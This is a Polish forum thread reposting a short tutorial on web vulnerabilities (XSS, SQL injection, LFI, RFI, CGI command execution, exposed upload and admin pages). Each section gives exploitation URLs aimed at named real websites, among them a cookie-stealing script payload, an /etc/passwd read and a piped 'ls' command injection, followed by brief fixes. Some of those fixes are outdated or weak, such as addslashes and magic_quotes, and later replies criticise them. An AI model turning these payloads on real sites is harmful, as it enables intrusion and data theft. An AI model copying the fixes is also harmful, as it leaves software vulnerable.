Pokaż wyniki 1 do 6 z 6

Temat: Błędy na www - wykorzystanie/zabezpieczenie

Hybrid View

Previous Post Previous Post   Next Post Next Post
  1. #1

    Domyślnie Błędy na www - wykorzystanie/zabezpieczenie

    Temat nie został napisany przeze mnie ale pomyślałem że komuś może się przydać.

    Błędy na www - wykorzystanie/zabezpieczenie


    Spis treści
    - Wstęp
    - XSS
    - SQL
    - LFI
    - RFI
    - RCE
    - Bypass
    - Zakończenie

    __________________________________________________ ________________________

    .: Wstęp
    W artykule tym przedstawię znane mi błędy, występujące na stronach www, jak i opiszę na czym one polegają, jak je wykorzystać i jak się przed nimi zabezpieczyć.
    Informacje należy wykorzystać do zbadania i ewentualnego zabezpieczenia własnej witryny.

    __________________________________________________ ________________________

    .: XSS - Cross-Site Scripting
    Błąd ten pozwala na wstawienie i wykonanie kodu HTML lub JS na stronie. Najczęściej wykorzystuje się go, w celu przejęcia cookies. Polega on na braku filtracji danych pochodzących od użytkownika. Zinterpretujmy stronę, na której jest wyszukiwarka (Błąd jest na tyle nie groźny, że można go przedstawić na przykładzie), [ www ] . W źródle strony widnieje kod:

    <form method="get">
    <input type="text" name="searchFor" value="" />
    <button type="submit">Search</button>
    </form>
    Wyszukajmu teraz słowa 'qwerty'. Co się stało ? Link teraz wygląda tak:

    avast.com/eng/search.php?searchFor=qwerty

    A w polu input pojawiła się wartość value

    <input type="text" name="searchFor" value="qwerty" />
    Najprawdopodobniej kod tej strony wygląda tak

    <input type="text" name="searchFor" value="<?php $_GET['searchFor']; ?>" />
    Więc wystarczy zamknąć pole input aby wykonał się nasz kod, przykładowo wpisujemy:
    ">qwerty
    czego wynikiem będzie kod widniejący w źródle

    <input type="text" name="searchFor" value="">qwerty" />
    Wykorzystanie:avast.com/eng/search.php?searchFor=%22%3E%3Cscript%3Ealert%28doc ument.cookie%29%3B%3C%2Fscript%3E

    Zabezpieczenie:

    value="<?php htmlspecialchars($_GET['searchFor']); ?>"
    __________________________________________________ ________________________

    .: SQL injection
    Błąd wynikający z niedostatecznego lub braku filtrowania danych pochodzących od użytkownika, które zostają wstawione do zapytania SQL. Błąd ten można spotkać najczęściej pod zmienną 'id' w linku, gdzie to numer przypisany do zmiennej, odpowiada numerowi id w bazie danych. Najczęściej występuje w skryptach wyświetlających newsy lub artykułu.

    $artid = $_GET['id'];
    $ideq = mysql_query("SELECT author, text FROM article WHERE id='".$artid."'");
    Wystarczy więc sprawić, aby to zapytanie się nie wykonało i dopisać własne. Przykładowo nie ma prawa być id=-1 więc sprawdźmy co się stanie
    gdy je wpiszemy [ www ] .

    Wykorzystanie:http://www.kzt.oswiata.org.pl/n.php?...+*+from+news/*

    Zabezpieczenie:

    mysql_query("SELECT author, text FROM article WHERE id='".addslashes($artid)."'");
    __________________________________________________ ________________________

    .: LFI - Local File Include
    Błąd wynikający z nieprzemyślanego zastosowania funkcji fread(), file(), get_content(), lub include().
    Jak sama nazwa wskazuje, pozwala on na wyświetlenie na stronie pliku, do którego ścieżka znajduje się w adresie URL. Błędu tego nie widać w źródle, gdyż jest on błędem w kodzie php. Przykładowy kod zawierający błąd LFI może wyglądać następująco.

    <?php

    $file = $_GET['site'];

    if(file_exist($file))
    {
    $show = fread(fopen($file, "r"), filesize($file));
    echo $show;
    }

    else echo "Error 404";
    ?>
    Wykorzystanie:www.aerodinamica.net/artigo.php?txt=/etc/passwd

    Zabezpieczenie:

    Najlepiej omijać przenoszenie ścieżek w linkach, a jeśli nie ma innej opcji, należałoby zdefiniować tablicę plików, które mogą być czytane.

    __________________________________________________ ________________________

    .: RFI - Remote File Include
    Błąd pozwala na wykonanie kodu PHP, po przez zaincludowanie pliku z innego servera. Jest to chyba najpopularniejszy błąd, znany również jako include bug.
    Polega on na braku filtracji zmiennych, przenoszonych w linku, które w rezultacie zostają wstawione do jednej z funkcji include(), include_once(), require(), require_once(). Najczęściej można spotkać następujący, błędny kod:

    <?php
    $site = $_GET['url'];

    switch($site)
    {
    case "about.php": include("site/$site"); break;
    // ....
    default: include($site); break;
    }
    ?>
    Wykorzystanie:http://www.osc-chauny.com/affiche.ph...tp://google.pl

    Zabezpieczenie:Tak jak w przypadku LFI

    __________________________________________________ ________________________

    .: RCE - Remote Command Execution
    Występujący w skryptach CGI, gdzie mało osób zdaje sobie sprawę, że funkcja open() pozwala na wykonanie unixowych poleceń.
    Spotyka się kod podobny to tego:

    use CGI;
    $input=CGI->new();
    $plik = $input->param('plik');
    open(FILE, $plik) or &diehtml("404");
    W ten czas wystarczy dopisać do adresu polecenie, obejmując je znakami '|', aby zostało wykonane.

    Wykorzystanie:http://www.scrove.com/cgi-bin/mods/a...tions.html|ls|

    Zabezpieczenie:Tablica ze sztywnymi ścieżkami.

    __________________________________________________ ________________________

    .: Bypass
    Jest to błąd, który charakteryzuje się totalnym brakiem zabezpieczeń formularzy przeznaczonych do uploadu plików, czy też możliwością wejścia do katalogu, który zawiera pliki konfiguracyjne lub panel administracyjny. W pierwszym momencie może wydawać się to śmieszne, ale są programiści, którzy pisząc upload zdjęć, dopuszczają pliki.php :wink:

    Wykorzystanie:www.antoniobasile.it/neuronblog/admin/

    Zabezpieczenie:.htaccess

    __________________________________________________ ________________________

    .: Zakończenie
    To już wszystko co miałem do przekazania w tej kwestii. Myślę, że artykuł, chodź krótki, pozwoli Ci odpowiednio zabezpieczyć stronę.

    Pozdrawiam

    autor: ζβτ
    źródło: http://www.haxite.org/index.php3?sit...ul_view&id=792
    Ostatnio edytowane przez Kapec : 07-12-2008 - 10:37

  2. #2
    Zarejestrowany
    Jul 2006
    Skąd
    Łódź
    Postów
    249

  3. #3

    Domyślnie

    wiem że przez niego ale jakbym wkleił sam link to by brzydko wyglądało.

  4. #4
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    ... ale wypadaloby podac czyj to jest tekst. Jak dla mnie to to co zrobiles to plagiat do ktorego sie przyznales na wstepie.

    Jesli przywoluje sie czyjas prace to nalezy oddac autorowi co jego, chocby w postaci przypisu.
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  5. #5

    Domyślnie

    no dobrze spokojnie

  6. #6
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    raz:
    value="<?php htmlspecialchars($_GET['searchFor']); ?>"
    htmlspecialchars przyjmuje jako argumkent string. A zmienna $_GET['x'] moze zawierac rowniez tablice. I pieknie apache sypnie warnem. Jepiej najpier sprawdzac, czy argumenty sa odpowiedniego typu. Np przez is_string(@$_GET['x']);

    dwa:
    mysql_query("SELECT author, text FROM article WHERE id='".addslashes($artid)."'");
    pomijam fakt, ze autor takiego skryptu nie zna zbyt dobrze skladni php, oraz to ze blad jest podobny jak przy xss. addslashes bierze string, a $artid moze byt tablica. Lepiej w przypadku id, castowac to na integer. (int)$var. a jesli ma to byc string, to wlaczyc magic_quotes_gpc. Po to one sa!

    trzy:
    poczytaj o readfile(), widac ze nie znasz.
    a
    URL file-access is disabled in the
    znaczy tyle ze file_exist() jest zbedne.

    cztery:
    Jest to błąd, który charakteryzuje się totalnym brakiem zabezpieczeń formularzy przeznaczonych do uploadu plików
    formularza nie da sie zabezpieczyc. Starczy zmienic MIME plikow w danym katalogi, i download bedzie elegancki.

    to wiele tlumaczy.

Podobne wątki

  1. Odpowiedzi: 25
    Autor: 01-31-2012, 09:57
  2. Wykorzystanie mocy obliczeniowej komputera ofiary
    By sic in forum Newbie - dla początkujących!
    Odpowiedzi: 9
    Autor: 05-27-2008, 10:26
  3. Zabezpieczenie WWW-PROBLEM
    By Iwan in forum Security
    Odpowiedzi: 7
    Autor: 05-16-2008, 21:51
  4. Jak ominac zabezpieczenie? Help
    By Wojdusz in forum Hacking
    Odpowiedzi: 4
    Autor: 12-24-2007, 13:20
  5. Zabezpieczenie systemu
    By Dominik in forum Linux
    Odpowiedzi: 16
    Autor: 08-20-2006, 23:59

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj